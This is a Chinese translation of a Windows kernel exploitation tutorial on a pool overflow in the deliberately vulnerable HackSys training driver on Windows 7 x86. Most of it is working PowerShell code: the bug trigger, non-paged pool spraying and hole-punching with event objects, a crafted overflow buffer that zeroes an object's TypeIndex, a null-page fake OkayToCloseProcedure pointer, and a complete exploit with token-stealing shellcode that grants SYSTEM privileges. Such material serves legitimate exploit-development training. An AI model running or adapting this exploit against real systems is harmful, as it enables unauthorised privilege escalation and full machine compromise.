Windows exploit系列教程第十六部分:内核利用程序之池溢出

fuzzySecurity于16年更新了数篇Windows内核exp的教程,本文是内核篇的第七篇。点击查看原文

内核利用程序之池溢出

欢迎回到Windows exploit开发系列教程的第十六部分。今天我们将基于@HackSysTeam’s 的驱动漏洞来编写一个池溢出的exp。再一次,我强烈建议读者在阅读本文前,先费些心思回顾一下下面列出的资源列表,以及第十五部分池分配相关的背景知识。调试环境的搭建请参考第十部分。

  • HackSysExtremeVulnerableDriver (@HackSysTeam) - here
  • HackSysTeam-PSKernelPwn (@FuzzySec) - here
  • Kernel Pool Exploitation on Windows 7 (@kernelpool) - here
  • Understanding Pool Corruption Part 1 (MSDN) - here
  • Understanding Pool Corruption Part 2 (MSDN) - here
  • Understanding Pool Corruption Part 3 (MSDN) - here

侦查挑战

先看看本次有漏洞的函数(here)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
PVOID KernelBuffer = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try {
DbgPrint("[+] Allocating Pool chunk\n");
// Allocate Pool chunk
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
if (!KernelBuffer) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Pool Overflow\n");
// Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
if (KernelBuffer) {
DbgPrint("[+] Freeing Pool chunk\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
// Free the allocated Pool chunk
ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
KernelBuffer = NULL;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}

显而易见的bug!驱动分配了一个大小为X的池块并拷贝了用户提供的数据到其中,然而,他并没有检查用户提供的数据尺寸是否超过了内存分配的池块大小。这导致了一些额外的数据会溢出到非分页内存池中毗邻的池块。我建议你在IDA中进一步探索该函数,该函数的分配的池块大小以及池标签都可以在函数起始不远的位置看到。

我们可以用下面的Powershell POC来调用该函数。注意到我们使用的是最大的可行尺寸,任何超出的数据都将溢出到下一个块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern void DebugBreak();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1F8
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200F"
[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

如我们所见,分配的块大小为0x200,我们的缓冲区刚好停在了下一个毗邻块的头部位置。让我们再次尝试增大用户缓冲区8个字节来覆盖下一个块的头部。

1
$Buffer = [Byte[]](0x41)*0x1F8 + [Byte[]](0x42)*0x4 + [Byte[]](0x43)*0x4

取决于内存池的状态和我们随机覆盖掉了某个块(本例中是二次释放(double free)),我们触发时会遇到各种各样的bug。任意一个都足以触发蓝屏,我们的exp相当粗糙!

Pwn

先简明扼要的给出一个全盘筹划总是好的。

  1. 在可预测状态下掌控非分页内存池。
  2. 触发一个可控的池溢出。
  3. 利用池的内部来设置一个shellcode回调。
  4. 释放被污染的池块以完成代码执行!

我强烈推荐你阅读Tarjei的paper并回顾本系列第十五部分的内容。这会帮助你解析重要的细节——我们的块风水是如何工作的。

在前面的文章中我们用IoCompletionReserve对象喷射了非分页内存池,其大小为0x60。但这一次,我们的目标对象是0x200大小因此我们需要喷射该尺寸的某种对象或者一个可以通过乘法达到该尺寸的对象。幸运的是,事件对象的尺寸是0x40,乘上8就是0x200。

下面的POC首先分配了10000个事件对象来填充非分页内存池的碎片,此后分配了5000个对象以达成可预测分配。注意我们转出了最后的10个对象句柄到标准输出,手动在WinDBG中触发了一个断点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Byte CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int CreateEvent(
IntPtr lpEventAttributes,
Byte bManualReset,
Byte bInitialState,
String lpName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern void DebugBreak();
}
"@
function Event-PoolSpray {
echo "[+] Derandomizing NonPagedPool.."
$Spray = @()
for ($i=0;$i -lt 10000;$i++) {
$CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
if ($CallResult -ne 0) {
$Spray += $CallResult
}
}
$Script:Event_hArray1 += $Spray
echo "[+] $($Event_hArray1.Length) event objects created!"
echo "[+] Allocating sequential objects.."
$Spray = @()
for ($i=0;$i -lt 5000;$i++) {
$CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
if ($CallResult -ne 0) {
$Spray += $CallResult
}
}
$Script:Event_hArray2 += $Spray
echo "[+] $($Event_hArray2.Length) event objects created!"
}
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
"{0:X}" -f $($($Event_hArray2[-$i]))
}
Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

你将看到类似这样的输出并在WinDBG中命中断点。

观察我们转储到标准输出的一个句柄,我们可以看到连续的0x40字节的分配。

为了使得内存池处在一个可信的状态,我们唯一能做的就是从第二次喷射的对象中释放0x200个字节的段。这将为我们的驱动对象挖坑备用。下面的POC展示了这一技术。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Byte CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int CreateEvent(
IntPtr lpEventAttributes,
Byte bManualReset,
Byte bInitialState,
String lpName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern void DebugBreak();
}
"@
function Event-PoolSpray {
echo "[+] Derandomizing NonPagedPool.."
$Spray = @()
for ($i=0;$i -lt 10000;$i++) {
$CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
if ($CallResult -ne 0) {
$Spray += $CallResult
}
}
$Script:Event_hArray1 += $Spray
echo "[+] $($Event_hArray1.Length) event objects created!"
echo "[+] Allocating sequential objects.."
$Spray = @()
for ($i=0;$i -lt 5000;$i++) {
$CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
if ($CallResult -ne 0) {
$Spray += $CallResult
}
}
$Script:Event_hArray2 += $Spray
echo "[+] $($Event_hArray2.Length) event objects created!"
echo "[+] Creating non-paged pool holes.."
for ($i=0;$i -lt $($Event_hArray2.Length);$i+=16) {
for ($j=0;$j -lt 8;$j++) {
$CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])
if ($CallResult -ne 0) {
$FreeCount += 1
}
}
}
echo "[+] Free'd $FreeCount event objects!"
}
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
echo "`n[>] Last 16 object handles:"
for ($i=1;$i -lt 17; $i++) {
"{0:X}" -f $($($Event_hArray2[-$i]))
}
Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

如前面所提到的,我们将利用“池内部构件”来达成代码执行。我们已经看过了如果对这些结构乱改一气就会导致BSOD,因此我们需要对池块的布局有一个深入的理解。

下面我们可以看到一个单一的事件对象的完整组件以及组成它的各种结构体。

首先,这里有个WinDBG的bug,他不会真正关心块结构的阐释但却非常烦人。有人发现问题了吗?如果有人可以指出就给你发免费的蛋糕(撒个慌)!无论如何在后面执行溢出时,这3个头需要保持固定(按层级)。

注意到OBJECT_HEADER的TypeIndex为0xC大小,该值是一个指针数组的偏移量,它描述了该块的对象类型。我们可以这样查证。

我们可以进一步通过事件对象指针来枚举OBJECT_TYPE。同样,注意到数组的第一个指针是空的(0x00000000)。

重要的部分就是”OkayToCloseProcedure”的偏移。如果,当对象句柄被释放且块也被释放,该值不为空,内核会跳转到该地址来执行。也可以使用该结构的其他成员,比如”DeleteProcedure”。

问题在于我们要如何利用它?记住池块本身包含了TypeIndex值(0xC),如果我们溢出该块并将该值修改为0x0的话,对象就会尝试在进程的零页上查找OBJECT_TYPE结构体。我们使用的环境是Win7,可以分配一个零页并创建一个伪造的”OkayToCloseProcedure”指针指向我们的shellcode。在释放了被污染的块时,内核就应该会执行到我们的代码了!

很好,我们就要解放了!我们已经控制了池分配并且知晓在0x200字节对象后我们有一个0x40字节的事件对象。我们可以用下面的buffer来精准的覆盖前面看到的三个块头结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$PoolHeader = [Byte[]] @(
0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040)
0x45, 0x76, 0x65, 0xee # PoolTag -> Event (0xee657645)
)
$ObjectHeaderQuotaInfo = [Byte[]] @(
0x00, 0x00, 0x00, 0x00, # PagedPoolCharge
0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40)
0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge
0x00, 0x00, 0x00, 0x00 # SecurityDescriptorQuotaBlock
)
# The object header is partially overwritten
$ObjectHeader = [Byte[]] @(
0x01, 0x00, 0x00, 0x00, # PointerCount (0x1)
0x01, 0x00, 0x00, 0x00, # HandleCount (0x1)
0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK
0x00, # TypeIndex (Rewrite 0xC -> 0x0)
0x00, # TraceFlags
0x08, # InfoMask
0x00 # Flags
)
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader

这里我们修改的唯一的值就是TypeIndex,我们从0xC修改成了0x0。我们可以通过下面的代码,精心构造一个伪造的”OkayToCloseProcedure”指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 120 # 0x78
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
echo "[!] Failed to allocate null-page..`n"
Return
} else {
echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000074"
$OkayToCloseProcedure = [Byte[]](0x43)*0x4
[System.Runtime.InteropServices.Marshal]::Copy($OkayToCloseProcedure, 0, [IntPtr]0x74, $OkayToCloseProcedure.Length)

让我们在WinDBG中证实我们的理论。

很棒,游戏基本通关了!再一次,火眼金睛的读者会注意到这个讨厌的WinDBG bug,就像前面那样。

像前面的文章一样,我们重用了shellcode,然而这其中有两个小技巧我留给勤勉的读者来找出!一个是和shellcode结尾相关,另一个和零页内存布局相关。

游戏结束

这就是所有的运行过程,更多细节请参考下面完整的exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Byte CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int CreateEvent(
IntPtr lpEventAttributes,
Byte bManualReset,
Byte bInitialState,
String lpName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("ntdll.dll")]
public static extern uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
uint ZeroBits,
ref UInt32 AllocationSize,
UInt32 AllocationType,
UInt32 Protect);
}
"@
function Event-PoolSpray {
echo "[+] Derandomizing NonPagedPool.."
$Spray = @()
for ($i=0;$i -lt 10000;$i++) {
$CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
if ($CallResult -ne 0) {
$Spray += $CallResult
}
}
$Script:Event_hArray1 += $Spray
echo "[+] $($Event_hArray1.Length) event objects created!"
echo "[+] Allocating sequential objects.."
$Spray = @()
for ($i=0;$i -lt 5000;$i++) {
$CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
if ($CallResult -ne 0) {
$Spray += $CallResult
}
}
$Script:Event_hArray2 += $Spray
echo "[+] $($Event_hArray2.Length) event objects created!"
echo "[+] Creating non-paged pool holes.."
for ($i=0;$i -lt $($Event_hArray2.Length-500);$i+=16) {
for ($j=0;$j -lt 8;$j++) {
$CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])
if ($CallResult -ne 0) {
$FreeCount += 1
}
}
}
echo "[+] Free'd $FreeCount event objects!"
}
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0xC2, 0x10, 0x00 # ret 16
)
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
# Allocate null-page
#---
# NtAllocateVirtualMemory must be used as VirtualAlloc
# will refuse a base address smaller than [IntPtr]0x1000
#---
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 120 # 0x78
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
echo "[!] Failed to allocate null-page..`n"
Return
} else {
echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000074"
$NullPage = [Byte[]](0x00)*0x73 + $ShellcodePointer
[System.Runtime.InteropServices.Marshal]::Copy($NullPage, 0, [IntPtr]0x1, $NullPage.Length)
$PoolHeader = [Byte[]] @(
0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040)
0x45, 0x76, 0x65, 0xee # PoolTag -> Event (0xee657645)
)
$ObjectHeaderQuotaInfo = [Byte[]] @(
0x00, 0x00, 0x00, 0x00, # PagedPoolCharge
0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40)
0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge
0x00, 0x00, 0x00, 0x00 # SecurityDescriptorQuotaBlock
)
# This header is partial
$ObjectHeader = [Byte[]] @(
0x01, 0x00, 0x00, 0x00, # PointerCount (0x1)
0x01, 0x00, 0x00, 0x00, # HandleCount (0x1)
0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK
0x00, # TypeIndex (Rewrite 0xC -> 0x0)
0x00, # TraceFlags
0x08, # InfoMask
0x00 # Flags
)
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200F"
[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
echo "`n[>] Freeing pool chunks!`n"
for ($i=0;$i -lt $($Event_hArray2.Length);$i++) {
$CallResult = [EVD]::CloseHandle($Event_hArray2[$i])
}

文章目录
  1. 1. 内核利用程序之池溢出
    1. 1.1. 侦查挑战
    2. 1.2. Pwn
    3. 1.3. 游戏结束
,